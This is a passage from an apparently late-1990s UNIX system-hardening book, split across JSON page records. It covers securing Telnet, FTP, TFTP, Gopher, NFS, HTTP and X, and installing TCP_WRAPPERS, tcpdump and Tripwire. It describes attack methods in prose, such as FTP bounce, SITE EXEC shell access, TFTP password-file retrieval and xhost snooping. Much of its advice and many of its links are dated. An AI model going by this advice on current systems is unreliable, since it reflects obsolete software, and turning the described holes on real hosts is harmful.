\nimplemented with a limited amount of hassle. Perhaps you only have 150 shell users. If \nso, you can request that these individuals forward to you a list of likely addresses that \nthey will be coming from. These can be added to the list of allowable hosts. In many \ninstances, they may be coming from a dynamically allocated IP at a different provider. In \nthis case, you must make the choice if you want to allow all users from that network. \nGenerally, however, most shell users will be logging in from work with a fixed IP. It \nwould not be a significant amount of effort to allow these addresses through your filter. \nWithout installing any of this software, making the decision to allow Telnet is a difficult \none. Like most TCP/IP services, Telnet affects the system at large. For example, many \ncracking expeditions start with Telnet. Crackers can test your vulnerability to overflow \nattacks and CGI exploits by initiating a Telnet session to port 80. They can also attempt \nto glean valid usernames by initiating a Telnet session to port 25 and so on. (Moreover, \nTelnet is one way for a remote user to identify your operating system type and version. \nThis will tell the seasoned cracker which holes to try.) \nFor the moment, let us assume that telnetd has been disabled and that your choice is to \nuse SSH instead. \n \nNOTE: One hole worth noting is the environment variable passing technique. This hole \nemerged in November 1995 and therefore it is within the realm of possibility that your \nsystem may be affected. The bug affected even many \"secure\" versions of Telnet that \nused Kerberos-based authentication. Because the bug was so serious (allowing remote \nusers to gain root access, yet another Class A hole), you should examine the full \nadvisory about it. The technique involved passing local environment variables to the \nremote target using the ENVIRONMENT option in all Telnet versions conforming to RFC \n1408 or RFC 1572. The full advisory is at \nhttp://ciac.llnl.gov/ciac/bulletins/g-01.shtml. \n \nFTP \nDeciding whether to provide FTP access is a bit less perplexing. There are few reasons to \nallow totally unrestricted, anonymous FTP. Usually, this is done when you are offering a \nsoftware distribution, free or otherwise, or when you are maintaining an archive of \ninformation that is of interest to the general Internet population. In either case, you have \nalmost certainly allocated a machine expressly for this purpose, which doesn't run many \nother services and holds only information that has already been backed up. \nAnonymous FTP \n" }, { "page_number": 346, "text": " \n \nI am against anonymous FTP unless you have a reason. This is mainly because FTP (like \nTelnet and most other protocols) affects the entire system: \nSome protocols are inherently difficult to filter safely (e.g., RPC and UDP services), thus \nproviding more openings to the internal network. Services provided on the same machine can \ninteract in catastrophic ways. For example, allowing anonymous FTP on the same machine as the \nWWW server may allow an intruder to place a file in the anonymous FTP area and cause the \nHTTP server to execute it. \n \nCross Reference: The previous paragraph is excerpted from Barbara Fraser's Site \nSecurity Handbook (update and draft version; June 1996, CMU. draft-ietf-ssh-\nhandbook-04.txt), which can be found online at \nhttp://info.internet.isi.edu:80/in-drafts/files/draft-ietf-\nssh-handbook-04.txt. \n \nClearly, the worst situation is anonymous FTP with a writable directory (for example, \n/incoming). Fully anonymous FTP with a writable directory makes you a prime stop for \nthose practicing the FTP \"bounce\" attack technique. \nBriefly, FTP bounce technique involves using one FTP server as a disguise to gain access \nto another FTP server that has refused the cracker a connection. The typical situation is \nwhere the target machine is configured to deny connections from a certain IP address \nhierarchy. The cracker's machine has an IP address within that hierarchy and therefore \nsome or all of the FTP directories on the target machine are inaccessible to him. So the \ncracker uses another machine (the \"intermediary\") to access the target. The cracker \naccomplishes this by writing to the intermediary's FTP directory a file that contains \ncommands to connect to the target and retrieve some file there. When the intermediary \nconnects to the target, it is coming from its own address (and not the cracker's). The \ntarget therefore honors the connection request and forwards the requested file. \nFTP bounce attacks have not been a high-profile (or high-priority) issue within security \ncircles, mainly because they are rare and do not generally involve cracking attempts. \n(Most bounce attacks probably originate overseas. The United States has export \nrestrictions on a variety of products, most commonly those with high-level encryption \nwritten into the program. Bounce attacks are purportedly used to circumvent restrictions \nat U.S. FTP sites.) \nFTP in General \nYou need to first examine what version of ftpd you have running on your system. \nCertain versions are flawed or easily misconfigured. \nAbout wu_ftpd \nIf you are using a version of wu_ftpd that predates April 1993, you need to update \nimmediately. As reported in CERT Advisory 93:06 (\"wuarchive ftpd Vulnerability\"): \nThe CERT Coordination Center has received information concerning a vulnerability in versions of \nwuarchive ftpd available before April 8, 1993. Vulnerable wuarchive ftpd versions were \navailable from wuarchive.wustl.edu:/packages/ftpd.wuarchive.shar and \n" }, { "page_number": 347, "text": " \n \nmany other anonymous FTP sites...Anyone (remote or local) can potentially gain access to any \naccount including root on a host running this version of ftpd. \nThis advisement may initially seem pointless to you because of how old these versions \nare. However, many systems run these versions of wu_ftpd. (Most of them are legacy \nsystems. But again, not everyone is using the latest and the greatest.) \nSo much for the older versions of wu_ftpd. Now I want to discuss the newer ones. On \nJanuary 4, 1997, a bug in version 2.4 was discovered (credit: Aleph1 and David \nGreenman) and posted to the Internet. This is critical because 2.4 is the most widely used \nversion. Moreover, it is relatively new. If you are now using 2.4 (and have not heard of \nthis bug), you need to acquire the patch immediately. The patch was posted to the \nInternet by David Greenman, the principal architect of the FreeBSD Project. At the time \nof this writing, the patch was available only on a mailing list (BUGTRAQ). Also, at the \ntime of this writing, the bug had not yet been appended to the searchable database at \nBUGTRAQ. (That database is located at http://www.geek-\ngirl.com/bugtraq/search.html.) In keeping with the advisory at the beginning of this \nbook about unauthorized printing of mail from individuals, I will not print the patch here. \nBy the time this book reaches the shelves, however, the posting will be archived and can \nbe retrieved at BUGTRAQ using the following search strings: \n• \nserious security bug in wu-ftpd v2.4 \n• \nNCTU CSIE FreeBSD Server \n• \ndologout(int status) \n \nNOTE: These strings should be entered exactly as they appear in the list. \n \nIn a more general sense, FTP security is a subject that is best treated by studying FTP \ntechnology at its core. FTP technology has changed vastly since its introduction. The \nactual FTP specification was originally set forth in RFC 959, \"File Transfer Protocol \n(FTP)\" almost a decade ago. Since that time, much has been done to improve the security \nof this critical application. \nThe document that you really need to get is titled \"FTP Security Extensions.\" It was \nauthored by M. Horowitz (Cygnus Solutions) and S. J. Lunt (Bellcore). This IDraft \n(Internet draft) was authored in November 1996 and as reported in the abstract portion of \nthat draft: \nThis document defines extensions to the FTP specification RFC 959, \"File Transfer Protocol \n(FTP)\" (October 1985). These extensions provide strong authentication, integrity, and \nconfidentiality on both the control and data channels with the introduction of new optional \ncommands, replies, and file transfer encodings. \n \nCross Reference: \"FTP Security Extensions\" is located at \nhttp://info.internet.isi.edu/0/in-drafts/files/draft-ietf-\ncat-ftpsec-09.txt. \n \n" }, { "page_number": 348, "text": " \n \nThe document begins by reiterating the commonly asserted problem with FTP; namely, \nthat passwords are passed in clear text. This is a problem over local and wide area \nnetworks. The paper covers various strides in security of the protocol and this serves as a \ngood starting place for understanding the nature of FTP security. \nFinally, there are a few steps you can take to ensure that your FTP server is more secure: \n• \nExamine your server for the SITE EXEC bug. Early versions of FTP would allow remote \nindividuals to obtain a shell from initiating a Telnet session to port 21. To check for this hole, \ninitiate a Telnet session to port 21 and issue the commands SITE EXEC. If you get a shell, there \nis a problem. You can understand this problem more clearly by referring to the CERT advisory \nCA-95:16: \"wu-ftpd Misconfiguration Vulnerability,\" November 30, 1995, \nhttp://bulsai.kaist.ac.kr/~ysyun/Mail-Archives/cert-\nadvisory/95/0006.html. \n• \nThe HOME directory of your FTP server should not be writable. The easiest and most reliable way \nto do this is to set the permissions correctly (chmod 555 and root ownership). \n• \nDisallow all system IDs from connecting via FTP. Those would naturally include root, bin, \nuucp, and nobody. \nFinally, I recommend heavy FTP logging. \nAbout TFTPD \nThe best advice I can give here about TFTPD is this: Turn it off. TFTP is a seldom-used \nprotocol and poses a significant security risk, even if the version you are using has been \ndeemed safe. \n \nNOTE: Some versions are explicitly not safe. One is the TFTP provided in AIX, in \nversion 3.x. The patch control number for that is ix22628. It is highly unlikely that you \nare using such a dated version of AIX. However, if you have acquired an older RS/6000, \ntake note of this problem, which allows remote users to grab /etc/passwd. \n \nIn Chapter 9, \"Scanners,\" I discussed TFTP and a scanner made specifically for finding \nopen TFTP holes (CONNECT). Because the knowledge of TFTP vulnerabilities is so \nwidespread, there are very few system administrators who will take the chance to run it. \nDon't be the exception to that rule. \n \nNOTE: Perhaps you think that the number of individuals that can exploit TFTP is small. \nAfter all, it requires some decent knowledge of UNIX. Or does it? Check out the \nTFTPClient32 for Windows 95. This is a tool that can help a cracker (with minimal \nknowledge of UNIX) crack your TFTP server. You can download a copy at \nhttp://papa.indstate.edu:8888/ftp/main!winsock-\nl!Windows95!FTP.html. \n \nDisabling TFTPD is a trivial matter (no pun intended). You simply comment it out in \ninetd.conf, thus preventing it from being loaded at boot. However, if you are intent on \nrunning TFTP, there are several things you might consider: \n" }, { "page_number": 349, "text": " \n \n• \nUsing shadowed password schemes makes the /etc/passwd contents irrelevant (and unusable) \nto a cracker. At a minimum, if you intend to use TFTP, you must have shadowing installed. \n• \nSome distributions of TFTP can be run in so-called secure mode. Check your individual version \nfor this. If this mode exists, you can set it in inetd.conf by specifying the -s option. \n• \nRun heavy logging procedures that are checked daily. (We will be getting to that in just a \nmoment.) \n \nNOTE: If you are new to UNIX (probably a Linux user), I suggest that you read the man \npages on TFTP. If, in addition to being new to UNIX, you opted against installing man \npages (and other documentation), you should at least visit these pages: \nhttp://flash.compatible.com/cloop-html/tftp.html \nhttp://www.hds.com/htmlsysadmin/2-3-1.html \nhttp://www.iss.net/vd/vuln/misc/tftp1.html \nAll these pages discuss weaknesses in the TFTP distribution. Moreover, I \nsuggest that you acquire a copy of RFC 1350, which is the official \nspecification for TFTP. The most reliable site I know for this is \nhttp://www.freesoft.org/Connected/RFC/1350/. \n \nGopher \nGopher is now a somewhat antiquated protocol. However, it is fast and efficient. If you \nare running it, hats off to you. I am a big Gopher fan because it delivers information to \nmy desk almost instantaneously (as opposed to HTTP network services, which are \nalready completely saturated). \nGopher has not been a traditionally weak service in terms of security, but there are some \nissues worthy of mention. The University of Minnesota Gopher server is probably the \nmost popular Gopher server ever written (available at boombox.micro.umn.edu). I \nwould estimate that even today, better than half of all Gopher servers are running some \nversion of this popular product. Of those, probably 10 percent are vulnerable to an old \nbug. That bug is present in both Gopher and Gopher+ in all versions acquired prior to \nAugust of 1993. As reported in CERT Advisory CA-93:11, UMN UNIX Gopher and \nGopher+ Vulnerabilities: \nIntruders are known to have exploited these vulnerabilities to obtain password files....Anyone \n(remote or local) can potentially gain unrestricted access to the account running the public access \nclient, thereby permitting them to read any files accessible to this account (possibly including \n/etc/passwd or other sensitive files)....In certain configurations, anyone (remote or local) can \npotentially gain access to any account, including root, on a host configured as a server running \ngopherd. \nThat hole was also reported in a Defense Data Network Bulletin (DDN Security Bulletin \n9315, August 9, 1993), which can be viewed at \nhttp://www.arc.com/database/Security_Bulletins/DDN/sec-9315.txt. \n" }, { "page_number": 350, "text": " \n \nI think that the majority of crackers know little about Gopher. However, there have been \nsome well-publicized bugs. One is that Gopher can proxy an FTP session and therefore, \neven if you are restricted from accessing an FTP directory on a machine, you perform a \nbounce attack using Gopher as the launch pad. This presents a little issue regarding \nfirewall security. For example, if the network FTP server is behind the firewall but the \nGopher server is not (and these belong to the same network), the blocked access to the \nFTP server will mean nothing. \nIn its default state, Gopher has very poor logging capabilities compared to other \nnetworked services. And, while the FTP proxying problem is not completely critical, it is \nsomething to be mindful of. \nFew sites are still using Gopher and that is too bad. It is a great protocol for distribution \nof text, audio, or other media. Nowadays especially, a Gopher server may provide a much \nmore vibrant and robust response than an HTTP server, simply because fewer people use \nit. It is not pretty, but it works like a charm. There have been relatively few security \nproblems with Gopher (beyond those mentioned here). \nNetwork File System \nMany people criticize Network File System (NFS) because its record in security has been \na spotted one. However, the benefits of using NFS are considerable. The problem lies in \nthe method of authentication for nonsecure NFS. There is simply not enough control over \nwho can generate a \"valid\" NFS request. \nThe problem is not so much in NFS itself as it is in the proficiency of the system \nadministrator. Exported file systems may or may not pose a risk, depending upon how \nthey are exported. Permissions are a big factor. Certainly, if you have reason to believe \nthat your users are going to generate (even surreptitiously) their own .rhosts files \n(something you should expressly prohibit), exporting /export/home is a very bad idea \nbecause these directories will naturally contain read/write permissions. \nSome tools can help you automate the process of examining (and closing) NFS holes. \nOne of them is NFSbug, written by Leendert van Doorn. This tool (generally distributed \nas a shar file) is designed to scan for commonly known NFS holes. Before you finish \nyour security audit and place your box out on main street, I suggest running this utility \nagainst your system (before crackers do). NFSbug is available at \nftp://ftp.cs.vu.nl/pub/leendert/nfsbug.shar. \n \nTIP: For a superb illustration of how crackers attack NFS, you should obtain the paper \n\"Improving the Security of Your Site by Breaking Into It\" (Dan Farmer and Wietse \nVenema). Contained within that paper is a step-by-step analysis of such an attack. That \npaper can reliably be retrieved from \nhttp://www.craftwork.com/papers/security.html. \n \n \nCAUTION: Never provide NFS write access to privileged files or areas and have these \nshared out to the Net. If you do, you are asking for trouble. Try to keep everything read-\nonly. \n" }, { "page_number": 351, "text": " \n \n \nPlease do not suppose that NFS is a rarely used avenue by crackers. As reported in a 1995 \nDefense Data Network Advisory, NFS problems continue to occur: \nSUMMARY: Increase in reports of root compromises caused by intruders using tools to exploit \na number of Network File System (NFS) vulnerabilities...There are tools being used by intruders \nto exploit a number of NFS vulnerabilities and gain unauthorized access to network resources. \nThese tools and related information have been widely distributed on numerous Internet forums. \n \nCross Reference: The previous paragraph is excerpted from DDN Security Bulletin \n9501, which can be found online at ftp://nic.ddn.mil/scc/sec-9501.txt. \n \nI would avoid running NFS. There are some problems with it. One is that even if you use \n\"enhanced\" or \"secure\" NFS (that is, the form of NFS that utilizes DES in \nauthentication), you may meet with trouble along the way. The DES key is derived from \nthe user's password. This presents an obvious problem. Assuming that shadowing is \ninstalled on the box, this may present one way for a cracker to reach the passwd listings. \nThe only real value of the DES-enhanced versions is that the routine gets the time. Time-\nstamped procedures eliminate the possibility of a cracker monitoring the exchange and \nlater playing it back. \n \nNOTE: You can block NFS traffic at the router level. You do this by applying filtering to \nports 111 and 2049. However, this may have little or no bearing on crackers that exist \ninternally within your network. I prefer a combination of these techniques. That is, if you \nmust run NFS, use an enhanced version with DES authentication as well as a router-\nbased blocking-denial scheme. \n \nMy suggestion is that you visit the following links for NFS security. Each offers either a \ndifferent view of the problem and possible solutions or important information about NFS \nand RPC calls: \n• \nThe COAST Archive at Purdue, with tutorials on NFS (and NIS) vulnerabilities, \nhttp://www.cs.purdue.edu/coast/satan-\nhtml/tutorials/vulnerability_tutorials.html. \n• \nNFS Version 3 Protocol Specification. B. Callaghan, B. Pawlowski, and P. Staubach. (Sun \nMicrosystems), June 1995, http://globecom.net/ietf/rfc/rfc1813.shtml. \n• \nNFS Security Administration and Information Clearinghouse. Vicki Brown and Dan Egnor, \nhttp://www.cco.caltech.edu/~refguide/sheets/nfs-security.html. \nHTTP \nHTTP is run more often than any other protocol these days, primarily because the WWW \nhas become such a popular publishing medium. In the most general sense, HTTP is not \ninherently insecure. However, there are some things you should be aware of. The number \none problem with HTTP is not with HTTP at all, but with the system administrator \nproviding the service. Do not run httpd as root! If you fail to heed this advice, you will \nbe a very sad system administrator. Even the slightest weakness in a CGI program can \n" }, { "page_number": 352, "text": " \n \nmean total compromise of your system if you are running httpd as root. This means that \nremote users can execute processes as root. \nMoreover, though I treat CGI security at a later point in this book, here is some solid \nadvice: If you are responsible for writing CGI programs, be careful to examine the code \nclosely. Is there a possibility that someone can push commands onto the stack using \nmetacharacters? \nAlso, consider the possibility of running httpd as a chrooted process. Many advisories \nsuggest that it provides greater security. In my opinion, httpd should not be run in a \nchrooted environment. First, it offers only very minimal security gains and severely \nrestricts your ability to use CGI. For example, under normal circumstances, users can \nexecute CGI programs from beneath their own directory structure. By this, I mean that \nthe standard procedure is that users can implement CGI from, say, \n/~usr/public_html/cgi-bin or some similar directory that has been identified as the \nuser cgi-bin home. If you execute httpd in a chrooted environment, your users will not \nbe able to run these scripts unless they, too, are under a chrooted environment. \nMoreover, the security gains from this are spurious at best. For in order to allow some \nform of CGI on your machine, you would need to also run either a Perl interpreter or C-\nbased binaries from this chrooted environment. This defeats the purpose of the exercise. \nUnless you feel that there is an absolute need to run httpd in a chrooted environment, I \nwould argue against it. It makes access too restricted to effectively provide CGI. \nOne valuable program that can help you with testing CGI applications is CGIWRAP, \nwhich is a relatively new program that does the following: \n• \nChecks CGI scripts for potential holes prior to executing them \n• \nWraps (records) all script accesses \nCGIWRAP was written by Nathan Neulinger and released in 1995. It is available at \nvarious locations across the Net. I have found this location to be reliable: \nftp://ftp.cc.umr.edu/pub/cgi/cgiwrap/. \nIt is reported that CGIWRAP has been verified to work on the following platforms: \n• \nA/UX \n• \nHPUX \n• \nSolaris \n• \nLinux \n• \nOSF/1 \nBecause HTTP is a relatively new protocol and because it has now become the most \npopular (to users, anyway), I imagine that tools of this sort will emerge on a grand scale. \nAnd, while none of them can guarantee your security at a given site, you should have \nknowledge of them. \n" }, { "page_number": 353, "text": " \n \nSpecific problems can be found in various implementations of HTTP, mainly in servers. \nOne of those servers is NCSA httpd. Version 1.3 had a buffer overflow vulnerability, for \nexample. If you are or have been using 1.3, upgrade immediately. For information on the \nimpact of the problem, go to these sources: \n• \nNCSA's Information Page. NCSA HTTPd Patch for Buffer Overflow, \nhttp://hoohoo.ncsa.uiuc.edu/security/patch_desc.html. \n• \nCERT Advisory CA-95:04. Last revised August 7, 1996, NCSA HTTP Daemon for UNIX \nVulnerability, \nhttp://www2.es.net/pub/security/cert/cert_advisories/.INDEX.html. \nYou can take some basic precautions: \n• \nDisable the EXEC option, thus preventing users from executing commands as the server. \n• \nKill server-side includes. (Document elements based on the statement, such as time, \ndate, and last date of modification.) \n• \nSet the AllowOverride option to NONE, thus disallowing your local users from setting their \nown options locally, within their own directories. \nAlso, note NCSA's warning regarding DNS-based authentication: \nThe access control by hostname and basic user authentication facilities provided by HTTPd are \nrelatively safe, but not bulletproof. The user authentication sends passwords across the network in \nplaintext, making them easily readable. The DNS based access control is only as safe as DNS, so \nyou should keep that in mind when using it. Bottom line: If it absolutely positively cannot be seen \nby outside people, you probably should not use HTTPd to protect it.--\"NCSA Tutorial Pages: \nMaking Your Setup More Secure,\" \nhttp://hoohoo.ncsa.uiuc.edu/docs/tutorials/security.html. \nHTTP Security in General \nHTTP security has undergone many changes, particularly in the past two years. One is \nthe development of safer httpd servers. (There have been a variety of problems with \nservers in the past, including but not limited to problems with stack overflows and bad \nCGI.) The other push has been in the area of developing concrete security solutions for \nthe entire protocol. A few important proposals are outlined in the following sections. \nSecure Hypertext Transfer Protocol \nSecure Hypertext Transfer Protocol (S-HTTP) was developed by Enterprise Integration \nTechnologies (a division of VeriFone, part of VeriFone's Internet Commerce Division). \nS-HTTP incorporates RSA and Kerberos-based encryption and authentication. As \ndescribed in the IDraft on S-HTTP: \nSecure HTTP (S-HTTP) is an extension of HTTP, providing independently applicable security \nservices for transaction confidentiality, authenticity/integrity and non-repudiability of origin. The \nprotocol emphasizes maximum flexibility in choice of key management mechanisms, security \npolicies and cryptographic algorithms by supporting option negotiation between parties for each \ntransaction.-- E. Rescorla and A. Schiffman, \"The Secure HyperText Transfer Protocol,\" July \n" }, { "page_number": 354, "text": " \n \n1995, http://www.eit.com/creations/s-http/draft-ietf-wts-shttp-\n00.txt. \nRSA and Kerberos-based authentication and encryption make for a pretty strong brew. \nThe Secure Sockets Layer Protocol \nSecure Sockets Layer (SSL) is a method conceived by the folks at Netscape. The system \nis a three-tiered method of securing two-way connections. The system uses RSA and \nDES authentication and encryption as well as additional MD5 integrity verification. You \nwill want to learn more about this system and therefore you should visit the home page of \nSSL. That document, titled \"The SSL Protocol\" (IDraft) was authored by Alan O. Freier \nand Philip Karlton (Netscape Communications) with Paul C. Kocher. It is located at \nhttp://home.netscape.com/eng/ssl3/ssl-toc.html. \nA very interesting paper on HTTP security is \"Evaluating Hypertext Servers for \nPerformance and Data Security\" (Suresh Srinivasan, Senior Researcher, Thomson \nTechnology Services Group). In it, the author contrasts a number of security proposals or \nstandards for HTTP and HTML. \nHTTP security is still an emerging field. See Chapter 30, \"Language, Extensions, and \nSecurity,\" for further information. \nPreserving a Record of the File System \nBefore you actually connect this machine to the Internet (or any network, for that matter), \nyou will want to perform a backup. This will preserve a record of the file system as it was \nwhen you installed it. Depending on how large the system is (perhaps you have installed \neverything), you might want to avoid using tape. I recommend backing up the system to \nflopticals, a Jazz drive, or even an old SCSI drive that you have lying around. I suggest \nthis because restoring is generally faster. If you suspect that there has been an intrusion, \nyou will want to do at least your comparing as quickly as possible. However, even if you \nare not concerned with speed, I would suggest doing the backup to some medium that is \nnot available to other users. The backup should be secured in a location that is accessible \nonly by you or trusted personnel. \nAfter Backup: Installing TCP_WRAPPERS, \nTCP_Dump, and Tripwire \nAt this stage, you have done the following: \n• \nSecured the workstation, passwords, the console, and the installation media \n• \nInstalled password shadowing and a pro-active password checker \n• \nReplaced your r remote logins (and perhaps Telnet) with SSH \n• \nApplied a wide range of patches for your software \n• \nDisabled nonessential protocols that pose significant risk (TFTP) \n" }, { "page_number": 355, "text": " \n \n• \nMade a pristine backup of your system \nThe next step is to set up your logging and file integrity controls and procedures. Let's \nbegin with logging. For this, you will use a product called TCP_WRAPPERS. \nTCP_WRAPPERS \nTCP_WRAPPERS is a program written by Wietse Venema. It is likely that no other tool \nmore easily or efficiently facilitates monitoring of connections to your machine. The \nprogram works by replacing system daemons and recording all connection requests, their \ntimes, and most importantly, their origins. For these reasons, TCP_WRAPPERS is one of \nthe most critical evidence-gathering tools available. It is also free. (A lot of the best \nUNIX software is free.) \nBefore installing TCP_WRAPPERS, you must read the paper that announced the \nprogram's existence. That paper (titled \"TCP WRAPPER: Network Monitoring, Access \nControl, and Booby Traps\") can be found at \nhttp://www.raptor.com/lib/tcp_wrapper.ps. The paper is significant for several \nreasons. First, it shows what TCP_WRAPPERS can do for you. Second, it includes a \nreal-life example, a somewhat gripping tale (complete with logs) of Venema's efforts to \npin down and apprehend a cracker. \n \nNOTE: Like most good security applications, TCP_WRAPPERS grew out of necessity. \nApparently, the Eindhoven University of Technology--where Venema was stationed--was \nunder considerable attack by a cracker. The attacks were particularly insidious and \nfrustrating because the cracker would often delete the entire hard disk drive of machines \nhe compromised. (Naturally, as Venema reflects in the paper, it was difficult to determine \nanything about the attacks because the data was erased.) A solution was in order and \nVenema found a simple one: Create a daemon that intercepted any connect request, \nrecorded the request and its origin, and then passed that request on to the native system \ndaemons. To find out what happened, get the paper. It is a good story. \n \n \nCross Reference: TCP_WRAPPERS can be retrieved from many locations on the \nInternet, but I prefer its home: \nftp://ftp.win.tue.nl/pub/security/TCP_WRAPPERS_7.4.tar.gz. \n \nTCP_WRAPPERS is easy to install on most UNIX platforms, it takes very minimal \nresources to run, and it can provide extensive logs on who is accessing your system. In \nshort, this program is a must. For implementation and design pointers, please obtain the \npaper described earlier. \nTCP_Dump \nThose seriously into security will undoubtedly crack a smile about TCP_Dump. It is a \ngreat utility, used to analyze the traffic on your network. It is also the program that \nShimomura was running on his network when Kevin Mitnik purportedly implemented a \nsuccessful spoofing attack against it. A journalist or two were amazed at how Shimomura \nhad obtained detailed information about the attack. No magic here; he was simply \nrunning TCP_Dump. \n" }, { "page_number": 356, "text": " \n \nTCP_Dump will tell you quite a lot about connections. Its output can be extremely \nverbose and for that reason it is considered a bit more comprehensive than \nTCP_WRAPPERS. People should not make such comparisons because the two programs \ndo different things. TCP_WRAPPERS is primarily to identify who and when. \nTCP_Dump is designed to tell you what. \nTCP_Dump is reportedly (though loosely) based on a previous program called etherfind. \nTCP_Dump is really a network sniffer and a good one. \n \nCAUTION: Just to remind you, programs like TCP_Dump can ultimately eat a lot of \nhard disk drive space, depending largely on the frequency of traffic on your network. If \nyou plan to have a lot of traffic, you might consider \"pruning\" the level of sniffing that \nTCP_Dump actually does. It has various options that allow you to restrict the \"listening\" \nto certain protocols, if you like. Equally, you can have the program run \"full on,\" in \nwhich case I would recommend a nice RAID to eat the output. (That is a joke, of course, \nunless your network is very large and frequented by hundreds of people.) \n \nTCP_Dump is another excellent tool to gather evidence against unlawful intrusions. \nMoreover, even if you never experience a break-in, TCP_Dump can teach you much \nabout your network and the traffic conducted on it. (And perhaps it can even identify \nproblems you were previously unaware of.) \nTripWire \nNext, you will want to install TripWire. I discussed TripWire in previous chapters, so I \nwill not cover it extensively here. I have already given pointers on where the tool is \nlocated. Here, I suggest that you acquire the following papers: \n• \nWriting, Supporting, and Evaluating TripWire: A Publicly Available Security Tool. Kim and \nSpafford, http://www.raptor.com/lib/9419.ps. \n• \nThe Design and Implementation of TripWire: A Filesystem Integrity Checker. Kim and Spafford, \nhttp://www.raptor.com/lib/9371.ps. \nOther Tools \nTripWire is not your only choice for file and system reconciliation. One that obtains very \ngood results is called binaudit. It was written by Matt Bishop, also the author of passwd+. \nThis system is more often referred to as the RIACS Auditing Package. \n \nCross Reference: You can find binaudit at \nftp://nob.cs.ucdavis.edu/pub/sec-tools/binaudit.tar. \n \nThe system operates against a master list of file values that are maintained in the file \n/usr/audit/audit.lst. This system is not quite as comprehensive as TripWire but \nrequires very low overhead and a minimum of hassle in setup and maintenance. \nWhatever tool you use, you should have at least one that checks file system integrity. Call \nme a little paranoid, but I would generate a complete file system integrity check even \n" }, { "page_number": 357, "text": " \n \nbefore connecting the machine to a network. This will provide you with a ready-made \ndatabase from the beginning. \nAbout X \nSecurity of the X Window System is an obscure area of concern, but one of importance. \nIf you reexamine the Evaluated Products List, you will see that X Window-based \nproducts are not in evidence. The X Window System is probably the most fluid, \nnetworked windowed system ever designed, but its security has a poor reputation. \nThe main argument against the use of X is the xhost hole. When an X server has access \ncontrols turned off, anyone anywhere on the Internet can open additional X windows and \nbegin running programs arbitrarily. This hole can easily be closed (the difference \nbetween xhost + and xhost -, actually) but people are still reticent about allowing \nremote X sessions. (Again, it is all about poor administration and not poor design of the \nprogram.) \nSome interesting approaches have been taken to remedy the problem. In this next section, \nI will highlight some of the problems with X Window System security. As I do so, I will \nbe using snippets from various papers to make my point. The content of these papers is \nwhat you really need. Again, as I mentioned at the beginning, this book is a roadmap for \nyou. If you have a practical interest in the security of X, you will want to retrieve each of \nthe cited papers. \nAs noted by G. Winfield Treese and Alec Wolman in their paper \"X Through the \nFirewall and Other Application Relays\": \nIn the X Window System, the basic security model allows a user to control the set of hosts allowed \nto make connections to the X server. This control only affects new connections, not existing ones. \nMany users disable the access control entirely for personal convenience when using more than a \nfew hosts. \nThe first point, then, is that X is not simply a windowing system. It looks and behaves \nmuch like a garden-variety windowing system, but that is just the smaller picture. \nConnections are sent to the X server. The X server can serve any valid X client, whether \nthat client be on the same machine or miles away. As noted by John Fisher, in his article \n\"Securing X Windows\": \nX Windows is really, at its lowest level, a communication protocol, called sensibly enough, X \nProtocol. This protocol is used within a single computer, or across a network of computers. It is \nnot tied to the operating system and is available on a wide range of platforms. X Windows utilizes \na Client-Server model of network communication. This model allows a user to run a program in \none location, but control it from a different location. \nTherefore, X is much like any other protocol in UNIX. It works on the client/server \nmodel and provides access across the Internet and a multitude of systems and \narchitecture. It is important that users new to UNIX realize this. When a valid connection \nhas been initiated, anything can happen (as noted in the X11R5 Xserver manual page): \nThe X protocol intrinsically does not have any notion of window operation permissions or place \nany restrictions on what a client can do; if a program can connect to a display, it has full run of the \nscreen. \n" }, { "page_number": 358, "text": " \n \nOnce that connection has been initiated, the attacker can destroy windows, create new \nwindows, capture keystrokes and passwords, and carry on just about any activity taking \nplace in the X environment. \nThe process by which security is maintained in X relies on a Magic Cookie. This is a \n128-bit value, generated in a pseudo-random fashion. This value is distributed to clients \nand stored in the .Xauthority file. This authentication scheme is known as a \"medium \nstrength\" measure and can theoretically be defeated. It is considered weak because of the \nfollowing: \nAlthough the XDM-AUTHORIZATION-1 mechanism offers sufficient protection against people \ntrying to capture authentication data from the network, it still faces a major problem: The whole \nsecurity mechanism is dependent on the protection of the .Xauthority file. If other people can \nget access to the contents of your .Xauthority file, they know the key used for encrypting \ndata, and the security is broken. \n \nCross Reference: The previous paragraph is excerpted from an article by Francois Staes \nthat appeared in The X Advisor. The article, titled \"X Security,\" can be found online at \nhttp://www.unx.com/DD/advisor/docs/nov95/nov95.fstaes.shtml. \n \nTrue, if you have enabled access control, there is little likelihood of an outsider grabbing \nyour .Xauthority file. However, you should not rely on simple access control to prevent \npenetration of your network. Efforts have been made to shore up X security and there is \nno reason you should not take advantage of them. Additional security measures should be \ntaken because basic X security schemes have been identified as flawed in the past. As \nnoted by the CERT bulletin titled \"X Authentication Vulnerability\": \nTwo widely used X Window System authorization schemes have weaknesses in the sample \nimplementation. These weaknesses could allow unauthorized remote users to connect to X \ndisplays and are present in X11 Release 6 and earlier releases of the X11 sample implementation. \nThere are reports that systems have been broken into using at least one of these weaknesses and \nthat there are now exploit programs available in the intruder community. \nFurthermore, there are many programs available (such as xkey, xscan, xspy, and \nwatchwin) that automate the task of either cracking an X server or exploiting the server \nonce it has been cracked. So I would first advise against running X across the Internet or \neven across the network. In my experience, small companies seldom have valid reasons \nto have X servers running on their machines (at least, not machines connected to the \nInternet). \nHowever, if you insist on running X in this manner, there are some steps you can take. \nFor example, Farmer and Venema suggest at the very least removing all instances of \nxhost + from not only the main Xsession file, but from all .xsession files on the \nsystem. (Oh, you could forbid the creation of any such file. However, practically, users \nmight ignore you. I would run a script periodically--perhaps often enough to make it a \ncron job--that searched out these transgressions.) \nOther sources suggest possible use of a Kerberized Xlib or utilization of the Identification \nProtocol defined in RFC 1413. Your choices will depend on your particular network \nconfiguration. Unfortunately, the security of the X Window system could consume an \nentire book by itself, so I will simply say that before making a decision about running X \n" }, { "page_number": 359, "text": " \n \nservers on your network, download the papers I have already cited. Those (and the papers \nI am about to cite) will help you to make an informed decision. Here are some tips on X \nsecurity: \n• \nAlways use at least Magic Cookie authentication. \n• \nMake sure that xhost + does not appear anywhere on the system, in the .xsession files, or \neven in shell scripts related to X. \n• \nchmod /tmp to 1777 to prevent access to socket descriptor (and occasionally Magic Cookies) \nthat may be stored in that directory. \nPublications \nX Window System Security. Ben Gross and Baba Buehler. Beckman Institute System \nServices. \n• \nhttp://www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.h\ntml \nOn the (in)Security of the Windowing System X. Marc VanHeyningen. Indiana \nUniversity. September 14, 1994. \n• 